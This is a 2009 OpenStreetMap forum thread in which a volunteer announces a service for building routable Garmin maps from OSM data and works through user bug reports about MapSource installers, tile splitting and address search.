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Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.03.2009 14:41 · [flux]
UPDATE BY ADMIN 3 May 2022: THE SITE NO LONGER WORKS. List of alternatives: https://wiki.openstreetmap.org/wiki/OSM … n/Download
Request to all users: Please download only what you really need, so other users can enjoy this service as well. Thank you.The goal is to make routable OpenStreetMap Garmin maps at least as easy to install and use as commercial and other map providers. I'm aiming for worldwide coverage on http://garmin.openstreetmap.nl and hope to update these each week. This service allows you to download specific tiles directly or to combine a selection of maps into an installer for MapSource and Roadtrip or as a gmapsupp.img for direct placement on your GPS device.If you wish the server to build a combined map for you then you can enter your e-mail address and click the 'Combine tiles' button. The server will then start working on your request and send you an e-mail with the download locations when finished. This e-mail address is only stored while the server is busy handling your request and deleted after the confirmation e-mail is sent. I will not use your e-mail address for anything else.Predefined countries
If the country of your interest is listed in the dropdown box then I suggest you use only the dropdown box to select the tiles. Tile combination's that are requested more then once will be delivered from the cache and thus much faster then unique requests.Address search
To use the address search you must:
- Enter any housenumber first (it does not have to be an existing housenumber)
- Enter the streetname (at which point the GPS will start providing feedback about possible matches). You can choose the street from the matches or
- Enter the placename to narrow the search down to the correct street.If your GPS device asks for a State/Country code then don't use the address search but use the following two-step process:
- Search for the city/place name. Select it.
- Search for the street name. Select it.Limitations
- Because of the default style for Mkgmap to be focussed on car routing, these maps work best for car routing. Short bicycle and foot routes work fine though in general.
- A tile limit is enforced because reality showed that too many people are greedy and request excessive amounts of tiles which causes other requests to suffer from long waiting times and huge bandwidth usage. I see little reason why anyone would need the entire world as Garmin map. I'm sorry if this causes some inconvenience.Known problems
- Looking up addresses does not work very well. Not much I can do about it. Other map providers using the Mkgmap tool suffer from this as well. I'm sure this will improve in the future.
- The 'Find Places' option in MapSource does not work well either. It is related to the previous issue. Use the same two-step search approach as described earlier.
- Oceans and other very large areas of water are not being rendered, so you won't see them. This will improve in the future.
- When someone requests one or more non-existing tiles (the red ones) then the RoadTrip installer build script will most likely fail, so don't choose red tiles if you care about MacOSX and RoadTrip.Contact
You can get contact me by replying to this forum topic, using the email function of this forum, through the OpenStreetMap user page or by email at: osm at na1400 dot info- Re: Worldwide routable Garmin maps: URL REMOVED · weolvi (Gast) · 10.03.2009 12:57 · [flux]
Lambertus, thank you for your efforts. Without having read your second posting, I tried to create a combined dataset and here are my experiences so far:
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The confirmation e-mail is detected as Spam. Maybe you should give it a more personal touch.:)
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My mail program (Alpine) was not able to correctly decode the URL for the MapSource installer. You should replace the blanks by underscores.
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I couldn't download the MapSource installer, but as you mention it might not be there despite the URL.
I just downloaded the gmapsupp and will try that tonight on my c510.
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The confirmation e-mail is detected as Spam. Maybe you should give it a more personal touch.:)
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.03.2009 13:18 · [flux]
Thanks for your comments.
I noticed the spam notification too. The email contains a lot of URLs so I guess that's a red flag. I will try to add a lot of extra text about OSM and my service to see if it helps.
The URL for the MapSource installer is fixed. It's working now for me.
- Re: Worldwide routable Garmin maps: URL REMOVED · mtrax (Gast) · 11.03.2009 06:55 · [flux]
these are IMG files , I was looking for Mapsource files.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.03.2009 09:18 · [flux]
mtrax wrote:
these are IMG files , I was looking for Mapsource files.
If you select the images you want, enter your email address and click the 'combine maps' button then the server will create the MapSource installer (among other things) for you and e-mail you with directions where you can download this installer.
- Re: Worldwide routable Garmin maps: URL REMOVED · weolvi (Gast) · 11.03.2009 10:42 · [flux]
weolvi wrote:
I just downloaded the gmapsupp and will try that tonight on my c510.
I didn't try it because I lacked the time to hook up the c510 to the computer. I tried the MapSource version however.
Download is OK, but the installer doesn't write the correct registry entries. I could see the maps with MapsetToolkit but not in MapSource's selection menu. So I deleted the bad entries with MapsetToolkit and pointed it to the correct location. That worked.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.03.2009 11:24 · [flux]
weolvi wrote:
Download is OK, but the installer doesn't write the correct registry entries. I could see the maps with MapsetToolkit but not in MapSource's selection menu. So I deleted the bad entries with MapsetToolkit and pointed it to the correct location. That worked.
Can you remember which entries you changed?
- Re: Worldwide routable Garmin maps: URL REMOVED · weolvi (Gast) · 11.03.2009 16:45 · [flux]
Lambertus wrote:
Can you remember which entries you changed?
No, I just used MapsetToolkit for the installation.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.03.2009 18:10 · [flux]
New changes:
- I just created a new set of maps thanks to user Skinkie who used a server at the center for math and computer science in Amsterdam (CWI) to split the tiles again with a slightly different parameter. So this time there are fewer tiles that failed to render. I also changed the Mkgmap commandline so I hope the maps will install correctly this time (I will check later).- The KML file, that defines the areas as you see them on the map, is now fetched using a PHP script instead of fetching it directly from the server. This will hopefully stop the browser to persistently cache the KML file even when it changed (You'd needed to clear the cache before a new version would be displayed).
- The KML file now automatically updated with the information to show if a map file is present on the server or not.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.03.2009 22:30 · [flux]
weolvi wrote:
weolvi wrote:
I just downloaded the gmapsupp and will try that tonight on my c510.
Download is OK, but the installer doesn't write the correct registry entries. I could see the maps with MapsetToolkit but not in MapSource's selection menu. So I deleted the bad entries with MapsetToolkit and pointed it to the correct location. That worked.
I think I fixed the installer bug for MapSource.
- Re: Worldwide routable Garmin maps: URL REMOVED · weolvi (Gast) · 12.03.2009 09:52 · [flux]
Lambertus wrote:
I think I fixed the installer bug for MapSource.
Now MapSource crashes on start. Your installation might not be compatible to version 6.15.3?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.03.2009 13:44 · [flux]
weolvi wrote:
Lambertus wrote:
I think I fixed the installer bug for MapSource.
Now MapSource crashes on start. Your installation might not be compatible to version 6.15.3?
The installer should be compatible, it probably because of the remnants from the old installer that cause it to crash. To clean the registry delete the following registry keys:
SOFTWARE\Garmin\MapSource\Products\53
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SOFTWARE\Garmin\MapSource\Products\50
Then reinstall the routable map only if you've requested the map after yesterday 12:00 CET. Otherwise let the service generate a new installer.
The registry then should contain the following key and values:
SOFTWARE\Garmin\MapSource\Products\53" LOC=[installation␣directory] BMAP=[installation␣directory]\63240000.img TDB=[installation␣directory]\63240000.tdb
If your registry contains these values then MapSource should without crashing.
- Re: Worldwide routable Garmin maps: URL REMOVED · weolvi (Gast) · 12.03.2009 15:05 · [flux]
No, everything looks as you describe but still MapSource crashes. When I uninstall the OSM maps it is working again as expected. Strange.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.03.2009 15:28 · [flux]
If you remove all the osm maps from the registry (under the MapSource\Products) tree and then install only the routable map, what happens then? And can you post the download link you received in the email?
- Re: Worldwide routable Garmin maps: URL REMOVED · weolvi (Gast) · 12.03.2009 16:18 · [flux]
There are no other OSM maps in the registry. The link was http://93.186.179.76/~lambertus/garmin/ … utable.exe
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.03.2009 17:34 · [flux]
Ok, I found the error and corrected it. Next time you place a new request it will combine correctly for MapSource. Thanks for the report! Note: it worked already fine with MapSource versions older then 6.14.1 but not in newer versions.
I also changed the notification email so that it contains less links in an attempt to avoid it being interpreted as spam.
- Re: Worldwide routable Garmin maps: URL REMOVED · IrlJidel (Gast) · 13.03.2009 10:21 · [flux]
Install now works perfectly for mapsource 6.15.4.
Thanks so much for providing this excellent service!
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 13.03.2009 11:30 · [flux]
While I haven't used the installer you refer to above. (I use cgpsmapper.) A common cause of MapSource crashes is a corrupted or missing basemap.img or basemap.tdb file. It's always a good idea to save a "last good copy" of those files. When MapSource crashes restoring those files usually sets things right.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.03.2009 12:20 · [flux]
In this case there were two bugs:
1) a mismatch between the product-id in the individual tiles and the registry key
2) the installer inserted two of the three values in the correct registry key, but one was inserted into the wrong key. Copy/paste error.But the installer is running fine now.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.03.2009 12:52 · [flux]
Well, people seem to have found the service now, and a significant number of the users have a peculiar interest in downloading almost every tile available. Each one requesting around 900 to 1000 MB which resulted in a disk full situation 😄
If all those heavy users just requested all the tiles then the caching mechanism would spring into action and this wouldn't happen, but it seems like most requests are just a little bit different then others so a new combination has to be created and as a result slowly eating all the diskspace.. Maybe I should create one download containing all the available tiles and redirect everyone who requests more then (say) 70% of the available tiles to that one...
But, it's fun to watch all those requests being made and hope everyone enjoys it too.
Update: The requests are queuing nicely on the server now, so it's possible you'll have to wait a few hours. The 70% rule is now implemented, so things might speedup a little in the coming hours as the largest requests don't need to be rendered anymore.
- Re: Worldwide routable Garmin maps: URL REMOVED · mtrax (Gast) · 15.03.2009 00:05 · [flux]
I just download combined maps of Australia, looking great so far..
Just wondering if its worthwhile having a pre-combined sets to make it easier for people to to download a country etc..
plus it might ease to storage and CPU re-rendering a common set.
eg Australia, GB, Germany etc..but thanks for your work ..
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.03.2009 10:55 · [flux]
The problem with precombined maps (especially country specific maps, which we have in abundance already) is that you cannot easily go beyond the boundaries of those maps. Before creating this service I had a few scenario's in my mind which I wanted to make as easy as possible for the common computer user.
Travel through multiple countries:
So if you plan a trip to go skiing and therefore travel from The Netherlands through Germany and Switserland to Austria you will need four maps, combine them yourself in MapSource and then upload to the GPS.Locality:
If you live close to a border you might be interested in downloading parts of more then one country. Others might just rarely travel far and are therefore perhaps only interested in downloading and using a small portion of the map.This service allows you to just select the tiles you're interested in and wait until the combining is finished. The combining is rather easy when the splitting of the planet file is done and the Garmin maps have been created. This needs to happen anyway, even if you distribute prebuilt combined maps. Zipping the maps for individual requests isn't that hard (if it wasn't for the server to be busy with my other projects too). Creating custom maps saves bandwidth but costs more in CPU power and disk space, but of those I have (currently) enough.
I do think about creating prebuilt downloads for entire continents besides this service though, as there is probably somewhere an optimal point where flexibility meets ease of use, CPU power and disk space...
- Re: Worldwide routable Garmin maps: URL REMOVED · Willem1 (Gast) · 15.03.2009 16:56 · [flux]
Good project!
I think the tiles are a bit of a weird shape. Some tiles contain much ocean and little land. It might be better to make smaller tiles which are all the same shape. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.03.2009 18:22 · [flux]
Willem1 wrote:
Good project!
Thank you.
I think the tiles are a bit of a weird shape. Some tiles contain much ocean and little land. It might be better to make smaller tiles which are all the same shape.
Well that's a result of the current automatic tile generation tools which try to create as big tiles as possible. Some tiles could be chosen better, I agree.
- Re: Worldwide routable Garmin maps: URL REMOVED · mtrax (Gast) · 16.03.2009 11:42 · [flux]
I just have another comment to make it completely obvious,
can you change the "Combine Maps" button to "Build Maps"and/or add the following on the side bar
1. select map/s (tick box to select multiple)
2. enter email address
3. hit button to build mapsthanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.03.2009 12:30 · [flux]
mtrax wrote:
I just have another comment to make it completely obvious,
can you change the "Combine Maps" button to "Build Maps"and/or add the following on the side bar
1. select map/s (tick box to select multiple)
2. enter email address
3. hit button to build mapsIs it better now?
Edit: I also fixed a bug where: when people requesting almost every tile the build process resulted in no tiles at all.
- Re: Worldwide routable Garmin maps: URL REMOVED · IrlJidel (Gast) · 16.03.2009 15:34 · [flux]
Would it be possible to add to the webpage the date of the source OSM data you've built the tiles from so a user can tell if they need to request a new map build.
Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.03.2009 16:09 · [flux]
IrlJidel wrote:
Would it be possible to add to the webpage the date of the source OSM data you've built the tiles from so a user can tell if they need to request a new map build.
Yes, I'm working on that.
- Re: Worldwide routable Garmin maps: URL REMOVED · mtrax (Gast) · 16.03.2009 21:30 · [flux]
yeap I think its pretty obvious now, thanks,
you might also put what sort of map files it builds eg mapsource, etc...BTW this is a great resource.
- Re: Worldwide routable Garmin maps: URL REMOVED · weolvi (Gast) · 17.03.2009 08:36 · [flux]
I've been away for some days so I didn't have the time to report on the success. As already pointed out by IrlJidel, the MapSource installer now works fine on the new MapSource versions. Currently, I can't say if the confirmation e-mails still get stuck in my spam filter as I accidentally gave a different address without such a filter. The link given in that mail wasn't formatted correctly as it included the closing '>' of the tag.
In addition, I have some advice regarding the tiles that do not compile correctly:
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The one in the Netherlands is due to a very dense road network. By experimentation with the splitter and mkgmap I found that the number of ways in a tile is a stricter limit than the number of nodes.
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In Denmark, there exists an awful amount of tags so that mkgmap runs out of heap space quite quickly while reading the osm file.
In both cases, you'll have to run the tile splitter with a smaller number of nodes as none of the parameters mentioned above can be influenced directly.
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The one in the Netherlands is due to a very dense road network. By experimentation with the splitter and mkgmap I found that the number of ways in a tile is a stricter limit than the number of nodes.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.03.2009 09:09 · [flux]
mtrax wrote:
You might also put what sort of map files it builds eg mapsource, etc...
I was thinking to put the text in email (that I added to fool the scam filters) on the web page too.
BTW this is a great resource.
Cool!
weolvi wrote:
Currently, I can't say if the confirmation e-mails still get stuck in my spam filter as I accidentally gave a different address without such a filter. The link given in that mail wasn't formatted correctly as it included the closing '>' of the tag.
It doesn't get recognized as scam by Thunderbird anymore. Maybe I can remove both < and > in the url.
In addition, I have some advice regarding the tiles that do not compile correctly:
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The one in the Netherlands is due to a very dense road network. By experimentation with the splitter and mkgmap I found that the number of ways in a tile is a stricter limit than the number of nodes.
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In Denmark, there exists an awful amount of tags so that mkgmap runs out of heap space quite quickly while reading the osm file.
In both cases, you'll have to run the tile splitter with a smaller number of nodes as none of the parameters mentioned above can be influenced directly.
Thanks for looking into this, but I am already aware of the source of the problem. It's just that it's not a good idea to split tiles individually so I'm now writing a tool to edit the splitter commandfile so that problems like this can be solved during the next update run.
America is now also available on the server.
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The one in the Netherlands is due to a very dense road network. By experimentation with the splitter and mkgmap I found that the number of ways in a tile is a stricter limit than the number of nodes.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.03.2009 09:44 · [flux]
Hi Lambertus,
Good job! I've tested the maps in mapsource and it works great. The cycling option in mapsource takes now the cycling lanes (where available), cool!
The only thing I couldnt get to work is to add a typ-file attached to the maps. With mapset toolkit I tried to use a TYP file but somehow it crashes Mapsource. I had to convert the maps to a Family ID maybe that isnt possible somehow? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.03.2009 10:13 · [flux]
ligfietser wrote:
Good job! I've tested the maps in mapsource and it works great. The cycling option in mapsource takes now the cycling lanes (where available), cool!
That's good to hear.
The only thing I couldnt get to work is to add a typ-file attached to the maps. With mapset toolkit I tried to use a TYP file but somehow it crashes Mapsource. I had to convert the maps to a Family ID maybe that isnt possible somehow?
I've been thinking about letting users provide their own TYP file and have those incorporated on the server while the maps is built, but for now I think that is too much work.
I don't know what the exact meaning is of family id and product id. Currently I set only the latter, maybe the family id needs te be configured too. Any info on this?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.03.2009 12:12 · [flux]
All I know is the TYP file is only possible with a Family ID. I also put your map in a nuvi and here the routing seems working fine too. Im very happy to have a Garmin routable cyclemap! Hope you can add the tile of the centre of NL soon (not available right now).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.03.2009 12:16 · [flux]
ligfietser wrote:
All I know is the TYP file is only possible with a Family ID.
Ok.
I also put your map in a nuvi and here the routing seems working fine too.
Good to know.
Hope you can add the tile of the centre of NL soon (not available right now).
Yes, there were some other things to do first. But the missing tiles are nearing the top of my list.
- Re: Worldwide routable Garmin maps: URL REMOVED · mtrax (Gast) · 17.03.2009 22:19 · [flux]
something wierd is happening when I combine all of the Australian Tiles and try to view the australia East Coast (near Sydney)
It looks as though the map is cut off or no coast is defined.
Initially i thought it was because I didn't select that tile but after the second time its still there.hmm on second view its the whole coast of Australia
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.03.2009 09:54 · [flux]
It is possible that the splitting process has problems with polygons that crosses multiple tiles. I read someone reporting that on the Mkgmap list this morning.
- Re: Worldwide routable Garmin maps: URL REMOVED · Willem1 (Gast) · 18.03.2009 16:42 · [flux]
From http://www.mkgmap.org.uk/page/tile-splitter
- There is a maximum of 255 output files. This should anyway be enough with the current amount of data.
- A line or relation can only spread over a max of 4 areas. This will probably be fixed, but is quite rare anyway as the tiles are large and tend not to meet at a single point.
- It is not possible to work on a complete planet file on a 32 bit OS, but working with an extract of the whole of Europe is fine within a 2G heap size. A single country is not a problem at all, even a well mapped one. - Re: Worldwide routable Garmin maps: URL REMOVED · mtrax (Gast) · 19.03.2009 09:38 · [flux]
Lambertus wrote:
It is possible that the splitting process has problems with polygons that crosses multiple tiles. I read someone reporting that on the Mkgmap list this morning.
is there something you or I can do or does this need to be fixed in Mkgmap? eg can we split Aust in two or reposition tiles ?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.03.2009 10:13 · [flux]
mtrax wrote:
Lambertus wrote:
It is possible that the splitting process has problems with polygons that crosses multiple tiles. I read someone reporting that on the Mkgmap list this morning.
is there something you or I can do or does this need to be fixed in Mkgmap? eg can we split Aust in two or reposition tiles ?
I'm reluctant to make an exception for Australia because of the way yournavigation routing database and the garmin file generation work. I'm gearing towards full automatic generation of both... Australia would be relatively easy to make an exception for but I assume this problem doesn't occur only in Australia. This should be fixed in the tools (Splitter in this case) rather than try working around it.
- Re: Worldwide routable Garmin maps: URL REMOVED · mtrax (Gast) · 19.03.2009 11:34 · [flux]
Lambertus wrote:
mtrax wrote:
Lambertus wrote:
It is possible that the splitting process has problems with polygons that crosses multiple tiles. I read someone reporting that on the Mkgmap list this morning.
is there something you or I can do or does this need to be fixed in Mkgmap? eg can we split Aust in two or reposition tiles ?
I'm reluctant to make an exception for Australia because of the way yournavigation routing database and the garmin file generation work. I'm gearing towards full automatic generation of both... Australia would be relatively easy to make an exception for but I assume this problem doesn't occur only in Australia. This should be fixed in the tools (Splitter in this case) rather than try working around it.
ok any idea when I should try again, or what/where to watch for updates?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.03.2009 13:13 · [flux]
No idea, I always hope that services like this and yournavigation.org generate a surge in software development. At least the latter one did that exactly. Splitter is maintained here: http://www.mkgmap.org.uk/svn/wsvn/splitter/
- Re: Worldwide routable Garmin maps: URL REMOVED · Treadly (Gast) · 20.03.2009 08:00 · [flux]
Lambertus I think your work is awsome, you must be incredibly clever!
I'd like to see software that can grab data from an MP file and upload it to OSM. The map I've made using Mapedit is superior to the OSM one because it's so much more user friendly.
Question, where do you see the future of mapping going and where will your own projects lead?
😛Regards
Treadly
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 20.03.2009 09:48 · [flux]
Treadly wrote:
Lambertus I think your work is awsome, you must be incredibly clever!
Lol thanks. But no, the people who develop Mkgmap are the clever ones here 🙂
I'd like to see software that can grab data from an MP file and upload it to OSM. The map I've made using Mapedit is superior to the OSM one because it's so much more user friendly.
An MP to OSM converter? Just out of curiosity: What makes Mapedit so much better then JOSM then Merkaator?
Question, where do you see the future of mapping going and where will your own projects lead? 😛
Pff, difficult question this early. Well, I hope to see much more use of OSM data (why would we map anyway otherwise?). Mostly my projects appear at the time OSM is ready for it. E.g. the forum was introduced when OSM became also interesting to people other then geeks. Yournavigation.org was developed when The Netherlands, UK and Germany had fairly complete roadnetworks. The routable Garmin maps were a longtime wish but I refuse to do a lot of manual work each week so I waited until the tools had evolved enough to do the generation automatically. If other interesting areas to work on popup then I'll do it (if my GF allowes it 😛).
- Re: Worldwide routable Garmin maps: URL REMOVED · mtrax (Gast) · 21.03.2009 00:16 · [flux]
btw I assume the Mkmap people know about this coast line problem/bug, or do we need to report it officially?
oh and another request, is it possible to "name" the map so if I download two sets of maps
eg Korea and australia , they would appear separately on Mapsource
So when you build a Map you give it a name , I assume this can alter the registry entries you create right?
This could also be used in the filename too (I suggest keep the name small eg 10-20 charsslight problem if I install two maps it looks like second map over rights the first Mapsource ?
so is this by design ie should I get ALL my maps in one shot or can I download two Mapsource install areas?
- Re: Worldwide routable Garmin maps: URL REMOVED · Treadly (Gast) · 21.03.2009 03:30 · [flux]
Lambertus wrote:
Treadly wrote:
Lambertus I think your work is awsome, you must be incredibly clever!
Lol thanks. But no, the people who develop Mkgmap are the clever ones here 🙂
I'd like to see software that can grab data from an MP file and upload it to OSM. The map I've made using Mapedit is superior to the OSM one because it's so much more user friendly.
An MP to OSM converter? Just out of curiosity: What makes Mapedit so much better then JOSM then Merkaator?
Question, where do you see the future of mapping going and where will your own projects lead? 😛
Pff, difficult question this early. Well, I hope to see much more use of OSM data (why would we map anyway otherwise?). Mostly my projects appear at the time OSM is ready for it. E.g. the forum was introduced when OSM became also interesting to people other then geeks. Yournavigation.org was developed when The Netherlands, UK and Germany had fairly complete roadnetworks. The routable Garmin maps were a longtime wish but I refuse to do a lot of manual work each week so I waited until the tools had evolved enough to do the generation automatically. If other interesting areas to work on popup then I'll do it (if my GF allowes it 😛).
I didn't know Merkaator existed and having had a bit of a play with it I'm impressed! So far I've been using Potlatch and JOSM, but Merkaator looks much nicer and is more flexible.
Question 1: I don't understand what extract does, how do I convert GPX raw data into a track directly without having to trace it manually? (In Mekanator)
Question 2: When I zoom out on the raw GPX data the track quickly disappears, it's a bit like looking at a road through a keyhole, can the raw GPX tracks be made visible at wider zoom levels? (In Mekanator)
Question 3: Could some sub groups be added to the forum index for OSM software? For example, Potlatch, JOSM, Merkaator, Mkgmap and a few others. At the moment all the questions are grouped together and it's difficult to look through the answers to find what you're looking for. I know there's a search engine but it doesn't always find what you want.
Thanks
Treadly
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.03.2009 09:36 · [flux]
mtrax wrote:
btw I assume the Mkmap people know about this coast line problem/bug, or do we need to report it officially?
They know it. Someone else and I have reported it on the Mkgmap dev mailinglist.
oh and another request, is it possible to "name" the map so if I download two sets of maps
eg Korea and australia , they would appear separately on Mapsource
So when you build a Map you give it a name , I assume this can alter the registry entries you create right?
This could also be used in the filename too (I suggest keep the name small eg 10-20 charsIt's not the mapname that makes it unique within MapSource, but the family and product id's. So if you want a new map to be registered under mapsource then you will have to give it a different id when building the TDB file. I could make this optionally configurable on the website.
slight problem if I install two maps it looks like second map over rights the first Mapsource ?
so is this by design ie should I get ALL my maps in one shot or can I download two Mapsource install areas?
All map tiles have an unique number so installing two combined maps from my website does not overwrite any maptiles. But MapSource uses the TDB file and overview image (63240000.img), which are unique for each download from the website, to show the map at a great distance and maybe also to know which tiles exist. This behavior causes MapSource to not show the previously installed tiles if you add a new set of tiles for a different area. So with the service at it's current state you should download all the tiles you want in one go or use Mkgmap or MapSetToolkit etc to combine the tiles manually on you own pc.
Treadly wrote:
I didn't know Merkaator existed and having had a bit of a play with it I'm impressed! So far I've been using Potlatch and JOSM, but Merkaator looks much nicer and is more flexible.
Question 1: I don't understand what extract does, how do I convert GPX raw data into a track directly without having to trace it manually? (In Mekanator)
Question 2: When I zoom out on the raw GPX data the track quickly disappears, it's a bit like looking at a road through a keyhole, can the raw GPX tracks be made visible at wider zoom levels? (In Mekanator)
Sorry that my questions encouraged you to ask these questions, but it's best to start a topic in Q&A about this. I don't want to go offtopic here.
Question 3: Could some sub groups be added to the forum index for OSM software? For example, Potlatch, JOSM, Merkaator, Mkgmap and a few others. At the moment all the questions are grouped together and it's difficult to look through the answers to find what you're looking for. I know there's a search engine but it doesn't always find what you want.
Same applies here, this is a topic for the Feedback forum.
Update: The server harddisk was almost full last night so some large requests have failed partially (e.g. missing the mapsource installer). Sorry.
- Re: Worldwide routable Garmin maps: URL REMOVED · malcolmfrost (Gast) · 21.03.2009 11:44 · [flux]
Lambertus
Thanks for a fantastic job.
I notice that the output includes a list of the tiles requested, would it be possible to be able to use that for an update in the future so that we don't have to select the tiles again? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.03.2009 13:06 · [flux]
It is possible that the tiles get shifted or renumbered with each weekly split, so you might be able to use that list successfully again but those new tiles can also contain completely different data. This behavior is a result of the automatic tile size determination function of the Splitter tool I'm using for this job.
Selecting only a few tiles does not seem such a big deal to me, and I hope to pre-generate some continental scale maps for even easier downloading in the future (e.g. Europe, Asia, Africa, Australia, North/South America).
- Re: Worldwide routable Garmin maps: URL REMOVED · Willem1 (Gast) · 21.03.2009 15:06 · [flux]
I downloaded Europe and everything is working well (except for the missing tiles). A few suggestions:
- Why do some residential area's show up on the map and others don't? For example Guttecoven N51.013 E5.819 is visible, but Sittard N50.998 E5.866 isn't...
- I would suggest colouring forests green, instead of brown striped.
- Buildings, which are white now, aren't very well visible on the background. - Re: Worldwide routable Garmin maps: URL REMOVED · glebius (Gast) · 21.03.2009 15:51 · [flux]
Lambertus,
first thanks for this service!
Now a bug report 🙂 I've requested a combination of several tiles. The request was processed quite quickly. However, mapsource crashes when the map is installed.
I have latest version of mapsource. My request id is ae6f2095d0cbad8d8b5d88c31702fdc2.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.03.2009 19:17 · [flux]
Willem1 wrote:
A few suggestions:
- Why do some residential area's show up on the map and others don't? For example Guttecoven N51.013 E5.819 is visible, but Sittard N50.998 E5.866 isn't...
I don't know. Perhaps it's dependent on the population tag...
- I would suggest colouring forests green, instead of brown striped.
- Buildings, which are white now, aren't very well visible on the background.A few posts ago there was talk about adding a TYP file to the images or make it selectable to add a TYP file. I will look into that.
glebius wrote:
first thanks for this service!
You're welcome 🙂
Now a bug report 🙂 I've requested a combination of several tiles. The request was processed quite quickly. However, mapsource crashes when the map is installed.
I have latest version of mapsource. My request id is ae6f2095d0cbad8d8b5d88c31702fdc2.
I have the same problem with that mapset with MapSource 6.13.7. I'm investigating...
Update1: It's not a structural problem, as other mapsets work fine. So it's probably an error in one of the tiles that's causing this.
Update2: It's tile number 63240138 (top of Scandinavia) which causes the problem, but I don't know what's wrong with it though.
- Re: Worldwide routable Garmin maps: URL REMOVED · glebius (Gast) · 21.03.2009 20:20 · [flux]
Good, really no needed for me 🙂 I'll try out another request. Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.03.2009 21:52 · [flux]
You can also just delete the 63240138.img file from the installation directory. MapSource will run just fine without that file.
- Re: Worldwide routable Garmin maps: URL REMOVED · Spindoc Bob (Gast) · 22.03.2009 10:04 · [flux]
Noticed maps do not show any data between E150 30.000 and E180 00.000. This means all of Sydney and surrounds and New Zealand are blank in MapSource unless you have a portion of map from outside those longitudes showing.
This occurs on all zoom levels.
- Re: Worldwide routable Garmin maps: URL REMOVED · ger4rd (Gast) · 23.03.2009 21:43 · [flux]
Hello,
Thank you for these maps. I tried it sucessfully on my Etrex Legend HCx. Thanks.
However, I have one question: how is it possible to define the place I want to drive to, not by pointing a place on the map, but by entering a street name? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 23.03.2009 21:54 · [flux]
Searching for streetnames is something that is just being developed in the Garmin map making tool Mkgmap. It just starts working in the last week so I haven't been able to use that version yet. So keep and eye on the website and try again when new maps have been uploaded.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 24.03.2009 09:27 · [flux]
Willem1 wrote:
- Why do some residential area's show up on the map and others don't? For example Guttecoven N51.013 E5.819 is visible, but Sittard N50.998 E5.866 isn't...
I see that Landuse=residential isnt rendered, in case of Guttecoven there is also a tag border=town maybe that tag is rendered and visible on the map. It would be nice to see landuse=residential will be rendered as well.
- Re: Worldwide routable Garmin maps: URL REMOVED · ger4rd (Gast) · 24.03.2009 21:29 · [flux]
Hi,
I have 2 more questions:
1) when are the content of the tiles refreshed with new data from OSM? I tried to fix some bugs in my town, and I don't know when they will be taken into account to check if the correction is ok...
2) It seems that if I ask my GPS (etrex legend hcx) to guide me to a place in another tile (with respect to the one where I stand), the suggested route ignores the roads of the other tile but only takes into account the default set of highways defined in the coarse map built in the GPS memory. Is there a way to force a GPS to use the data from all tiles and ignore default coarse map data? - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 25.03.2009 09:29 · [flux]
ger4rd wrote:
2) It seems that if I ask my GPS (etrex legend hcx) to guide me to a place in another tile (with respect to the one where I stand), the suggested route ignores the roads of the other tile but only takes into account the default set of highways defined in the coarse map built in the GPS memory. Is there a way to force a GPS to use the data from all tiles and ignore default coarse map data?
Aha, that I've experienced too. With a nuvi it takes the major motorways on the longer distances, even when I use the bicycle navigation option. Because you mentioned it, it's the damn underlying base map (not the pre installed City Navigator, which I turned off) that takes this routing into account and there is no way to ignore it as far as i know 🙁
Update:
I now removed the gmapbmap.img (basemap) from the internal memory, to prevent that it will take the routing into account, but it didnt help.
The only map on the Garmin is now OSM but still the motorways are chosen as the best cycling way 🤣
So it is def. not the basemap who caused this, must be the routing software within the Garmin that is stupid. - Re: Worldwide routable Garmin maps: URL REMOVED · MikeBike (Gast) · 25.03.2009 11:28 · [flux]
hello, I'm just a beginner with garmin and osm maps. I downloaded a chosen worldwide routable map (parts of netherland and germany), great service, but although they are routable, I cannot route with adresses, most adresses, including city moenchengladbach, are not found. Why ? When it is possibel to route about the street, and streetname is shown on the map, why is it not possible to find adresses, or the streetname for routing ?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.03.2009 16:12 · [flux]
ger4rd wrote:
1) when are the content of the tiles refreshed with new data from OSM? I tried to fix some bugs in my town, and I don't know when they will be taken into account to check if the correction is ok...
